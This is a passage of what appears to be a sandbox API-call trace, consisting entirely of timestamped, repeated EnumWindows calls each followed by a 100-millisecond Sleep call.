(lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.372] Sleep (dwMilliseconds=0x64) [0188.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.373] Sleep (dwMilliseconds=0x64) [0188.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.378] Sleep (dwMilliseconds=0x64) [0188.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.460] Sleep (dwMilliseconds=0x64) [0188.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.496] Sleep (dwMilliseconds=0x64) [0188.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.499] Sleep (dwMilliseconds=0x64) [0188.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.501] Sleep (dwMilliseconds=0x64) [0188.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.503] Sleep (dwMilliseconds=0x64) [0188.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.505] Sleep (dwMilliseconds=0x64) [0188.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.507] Sleep (dwMilliseconds=0x64) [0188.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.509] Sleep (dwMilliseconds=0x64) [0188.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.512] Sleep (dwMilliseconds=0x64) [0188.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.513] Sleep (dwMilliseconds=0x64) [0188.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.515] Sleep (dwMilliseconds=0x64) [0188.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.518] Sleep (dwMilliseconds=0x64) [0188.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.520] Sleep (dwMilliseconds=0x64) [0188.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.521] Sleep (dwMilliseconds=0x64) [0188.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.524] Sleep (dwMilliseconds=0x64) [0188.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.526] Sleep (dwMilliseconds=0x64) [0188.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.594] Sleep (dwMilliseconds=0x64) [0188.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.634] Sleep (dwMilliseconds=0x64) [0188.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.637] Sleep (dwMilliseconds=0x64) [0188.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.640] Sleep (dwMilliseconds=0x64) [0188.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.642] Sleep (dwMilliseconds=0x64) [0188.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.645] Sleep (dwMilliseconds=0x64) [0188.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.648] Sleep (dwMilliseconds=0x64) [0188.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.650] Sleep (dwMilliseconds=0x64) [0188.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.652] Sleep (dwMilliseconds=0x64) [0188.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.654] Sleep (dwMilliseconds=0x64) [0188.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.656] Sleep (dwMilliseconds=0x64) [0188.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.660] Sleep (dwMilliseconds=0x64) [0188.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.662] Sleep (dwMilliseconds=0x64) [0188.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.756] Sleep (dwMilliseconds=0x64) [0188.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.813] Sleep (dwMilliseconds=0x64) [0188.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.815] Sleep (dwMilliseconds=0x64) [0188.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.817] Sleep (dwMilliseconds=0x64) [0188.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.819] Sleep (dwMilliseconds=0x64) [0188.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.821] Sleep (dwMilliseconds=0x64) [0188.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.824] Sleep (dwMilliseconds=0x64) [0188.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.827] Sleep (dwMilliseconds=0x64) [0188.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.828] Sleep (dwMilliseconds=0x64) [0188.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.835] Sleep (dwMilliseconds=0x64) [0188.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.837] Sleep (dwMilliseconds=0x64) [0188.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.839] Sleep (dwMilliseconds=0x64) [0188.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.841] Sleep (dwMilliseconds=0x64) [0188.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.902] Sleep (dwMilliseconds=0x64) [0189.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.053] Sleep (dwMilliseconds=0x64) [0189.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.056] Sleep (dwMilliseconds=0x64) [0189.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.058] Sleep (dwMilliseconds=0x64) [0189.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.061] Sleep (dwMilliseconds=0x64) [0189.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.062] Sleep (dwMilliseconds=0x64) [0189.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.064] Sleep (dwMilliseconds=0x64) [0189.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.070] Sleep (dwMilliseconds=0x64) [0189.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.071] Sleep (dwMilliseconds=0x64) [0189.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.073] Sleep (dwMilliseconds=0x64) [0189.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.075] Sleep (dwMilliseconds=0x64) [0189.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.077] Sleep (dwMilliseconds=0x64) [0189.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.079] Sleep (dwMilliseconds=0x64) [0189.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.082] Sleep (dwMilliseconds=0x64) [0189.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.109] Sleep (dwMilliseconds=0x64) [0189.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.190] Sleep (dwMilliseconds=0x64) [0189.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.191] Sleep (dwMilliseconds=0x64) [0189.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.193] Sleep (dwMilliseconds=0x64) [0189.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.194] Sleep (dwMilliseconds=0x64) [0189.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.196] Sleep (dwMilliseconds=0x64) [0189.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.198] Sleep (dwMilliseconds=0x64) [0189.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.200] Sleep (dwMilliseconds=0x64) [0189.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.202] Sleep (dwMilliseconds=0x64) [0189.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.203] Sleep (dwMilliseconds=0x64) [0189.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.205] Sleep (dwMilliseconds=0x64) [0189.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.207] Sleep (dwMilliseconds=0x64) [0189.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.209] Sleep (dwMilliseconds=0x64) [0189.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.211] Sleep (dwMilliseconds=0x64) [0189.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.213] Sleep (dwMilliseconds=0x64) [0189.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.215] Sleep (dwMilliseconds=0x64) [0189.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.217] Sleep (dwMilliseconds=0x64) [0189.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.219] Sleep (dwMilliseconds=0x64) [0189.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.220] Sleep (dwMilliseconds=0x64) [0189.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.299] Sleep (dwMilliseconds=0x64) [0189.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.334] Sleep (dwMilliseconds=0x64) [0189.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.336] Sleep (dwMilliseconds=0x64) [0189.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.338] Sleep (dwMilliseconds=0x64) [0189.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.340] Sleep (dwMilliseconds=0x64) [0189.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.342] Sleep (dwMilliseconds=0x64) [0189.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.344] Sleep (dwMilliseconds=0x64) [0189.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.346] Sleep (dwMilliseconds=0x64) [0189.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.349] Sleep (dwMilliseconds=0x64) [0189.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.351] Sleep (dwMilliseconds=0x64) [0189.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.352] Sleep (dwMilliseconds=0x64) [0189.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.354] Sleep (dwMilliseconds=0x64) [0189.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.356] Sleep (dwMilliseconds=0x64) [0189.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.358] Sleep (dwMilliseconds=0x64) [0189.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.360] Sleep (dwMilliseconds=0x64) [0189.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.362] Sleep (dwMilliseconds=0x64) [0189.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.364] Sleep (dwMilliseconds=0x64) [0189.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.426] Sleep (dwMilliseconds=0x64) [0189.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.481] Sleep (dwMilliseconds=0x64) [0189.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.483] Sleep (dwMilliseconds=0x64) [0189.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.485] Sleep (dwMilliseconds=0x64) [0189.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.487] Sleep (dwMilliseconds=0x64) [0189.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.489] Sleep (dwMilliseconds=0x64) [0189.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.502] Sleep (dwMilliseconds=0x64) [0189.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.504] Sleep (dwMilliseconds=0x64) [0189.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.506] Sleep (dwMilliseconds=0x64) [0189.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.509] Sleep (dwMilliseconds=0x64) [0189.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.547] Sleep (dwMilliseconds=0x64) [0189.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.619] Sleep (dwMilliseconds=0x64) [0189.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.621] Sleep (dwMilliseconds=0x64) [0189.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.623] Sleep (dwMilliseconds=0x64) [0189.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.625] Sleep (dwMilliseconds=0x64) [0189.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.627] Sleep (dwMilliseconds=0x64) [0189.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.628] Sleep (dwMilliseconds=0x64) [0189.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.630] Sleep (dwMilliseconds=0x64) [0189.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.632] Sleep (dwMilliseconds=0x64) [0189.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.634] Sleep (dwMilliseconds=0x64) [0189.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.802] Sleep (dwMilliseconds=0x64) [0189.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.804] Sleep (dwMilliseconds=0x64) [0189.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.806] Sleep (dwMilliseconds=0x64) [0189.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.808] Sleep (dwMilliseconds=0x64) [0189.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.810] Sleep (dwMilliseconds=0x64) [0189.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.812] Sleep (dwMilliseconds=0x64) [0189.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.814] Sleep (dwMilliseconds=0x64) [0189.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.817] Sleep (dwMilliseconds=0x64) [0189.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.819] Sleep (dwMilliseconds=0x64) [0189.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.939] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.940] Sleep (dwMilliseconds=0x64) [0189.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.942] Sleep (dwMilliseconds=0x64) [0189.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.944] Sleep (dwMilliseconds=0x64) [0189.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.946] Sleep (dwMilliseconds=0x64) [0189.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.947] Sleep (dwMilliseconds=0x64) [0189.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.949] Sleep (dwMilliseconds=0x64) [0189.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.951] Sleep (dwMilliseconds=0x64) [0189.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.953] Sleep (dwMilliseconds=0x64) [0189.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.955] Sleep (dwMilliseconds=0x64) [0189.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.959] Sleep (dwMilliseconds=0x64) [0189.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.961] Sleep (dwMilliseconds=0x64) [0189.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.963] Sleep (dwMilliseconds=0x64) [0189.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.965] Sleep (dwMilliseconds=0x64) [0189.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.967] Sleep (dwMilliseconds=0x64) [0189.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0189.969] Sleep (dwMilliseconds=0x64) [0190.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.021] Sleep (dwMilliseconds=0x64) [0190.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.082] Sleep (dwMilliseconds=0x64) [0190.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.084] Sleep (dwMilliseconds=0x64) [0190.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.088] Sleep (dwMilliseconds=0x64) [0190.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.090] Sleep (dwMilliseconds=0x64) [0190.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.092] Sleep (dwMilliseconds=0x64) [0190.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.094] Sleep (dwMilliseconds=0x64) [0190.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.096] Sleep (dwMilliseconds=0x64) [0190.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.098] Sleep (dwMilliseconds=0x64) [0190.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.100] Sleep (dwMilliseconds=0x64) [0190.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.102] Sleep (dwMilliseconds=0x64) [0190.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.104] Sleep (dwMilliseconds=0x64) [0190.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.106] Sleep (dwMilliseconds=0x64) [0190.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.108] Sleep (dwMilliseconds=0x64) [0190.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.110] Sleep (dwMilliseconds=0x64) [0190.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.188] Sleep (dwMilliseconds=0x64) [0190.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.263] Sleep (dwMilliseconds=0x64) [0190.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.265] Sleep (dwMilliseconds=0x64) [0190.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.267] Sleep (dwMilliseconds=0x64) [0190.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.269] Sleep (dwMilliseconds=0x64) [0190.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.271] Sleep (dwMilliseconds=0x64) [0190.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.273] Sleep (dwMilliseconds=0x64) [0190.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.275] Sleep (dwMilliseconds=0x64) [0190.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.277] Sleep (dwMilliseconds=0x64) [0190.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.281] Sleep (dwMilliseconds=0x64) [0190.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.284] Sleep (dwMilliseconds=0x64) [0190.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.286] Sleep (dwMilliseconds=0x64) [0190.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.288] Sleep (dwMilliseconds=0x64) [0190.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.290] Sleep (dwMilliseconds=0x64) [0190.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.292] Sleep (dwMilliseconds=0x64) [0190.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.302] Sleep (dwMilliseconds=0x64) [0190.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.391] Sleep (dwMilliseconds=0x64) [0190.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.409] Sleep (dwMilliseconds=0x64) [0190.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.411] Sleep (dwMilliseconds=0x64) [0190.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.414] Sleep (dwMilliseconds=0x64) [0190.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.416] Sleep (dwMilliseconds=0x64) [0190.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.418] Sleep (dwMilliseconds=0x64) [0190.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.420] Sleep (dwMilliseconds=0x64) [0190.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.421] Sleep (dwMilliseconds=0x64) [0190.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.424] Sleep (dwMilliseconds=0x64) [0190.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.425] Sleep (dwMilliseconds=0x64) [0190.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.427] Sleep (dwMilliseconds=0x64) [0190.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.429] Sleep (dwMilliseconds=0x64) [0190.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.431] Sleep (dwMilliseconds=0x64) [0190.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.433] Sleep (dwMilliseconds=0x64) [0190.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.435] Sleep (dwMilliseconds=0x64) [0190.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.437] Sleep (dwMilliseconds=0x64) [0190.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.442] Sleep (dwMilliseconds=0x64) [0190.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.504] Sleep (dwMilliseconds=0x64) [0190.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.598] Sleep (dwMilliseconds=0x64) [0190.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.601] Sleep (dwMilliseconds=0x64) [0190.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.603] Sleep (dwMilliseconds=0x64) [0190.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.605] Sleep (dwMilliseconds=0x64) [0190.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.606] Sleep (dwMilliseconds=0x64) [0190.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.608] Sleep (dwMilliseconds=0x64) [0190.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.610] Sleep (dwMilliseconds=0x64) [0190.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.612] Sleep (dwMilliseconds=0x64) [0190.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.616] Sleep (dwMilliseconds=0x64) [0190.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.618] Sleep (dwMilliseconds=0x64) [0190.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.620] Sleep (dwMilliseconds=0x64) [0190.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.623] Sleep (dwMilliseconds=0x64) [0190.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.624] Sleep (dwMilliseconds=0x64) [0190.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.626] Sleep (dwMilliseconds=0x64) [0190.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.627] Sleep (dwMilliseconds=0x64) [0190.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.673] Sleep (dwMilliseconds=0x64) [0190.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.804] Sleep (dwMilliseconds=0x64) [0190.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.807] Sleep (dwMilliseconds=0x64) [0190.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.809] Sleep (dwMilliseconds=0x64) [0190.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.811] Sleep (dwMilliseconds=0x64) [0190.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.889] Sleep (dwMilliseconds=0x64) [0190.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0190.916] Sleep (dwMilliseconds=0x64) [0191.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.003] Sleep (dwMilliseconds=0x64) [0191.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.078] Sleep (dwMilliseconds=0x64) [0191.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.090] Sleep (dwMilliseconds=0x64) [0191.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.804] Sleep (dwMilliseconds=0x64) [0191.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.806] Sleep (dwMilliseconds=0x64) [0191.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.817] Sleep (dwMilliseconds=0x64) [0191.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.820] Sleep (dwMilliseconds=0x64) [0191.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.821] Sleep (dwMilliseconds=0x64) [0191.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.823] Sleep (dwMilliseconds=0x64) [0191.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.827] Sleep (dwMilliseconds=0x64) [0191.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.829] Sleep (dwMilliseconds=0x64) [0191.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.831] Sleep (dwMilliseconds=0x64) [0191.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.833] Sleep (dwMilliseconds=0x64) [0191.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.839] Sleep (dwMilliseconds=0x64) [0191.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.961] Sleep (dwMilliseconds=0x64) [0191.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.978] Sleep (dwMilliseconds=0x64) [0191.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.980] Sleep (dwMilliseconds=0x64) [0191.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.982] Sleep (dwMilliseconds=0x64) [0191.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.986] Sleep (dwMilliseconds=0x64) [0191.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.988] Sleep (dwMilliseconds=0x64) [0191.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.989] Sleep (dwMilliseconds=0x64) [0191.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.993] Sleep (dwMilliseconds=0x64) [0191.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0191.997] Sleep (dwMilliseconds=0x64) [0192.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0192.815] Sleep (dwMilliseconds=0x64) [0192.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0192.988] Sleep (dwMilliseconds=0x64) [0193.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.063] Sleep (dwMilliseconds=0x64) [0193.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.195] Sleep (dwMilliseconds=0x64) [0193.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 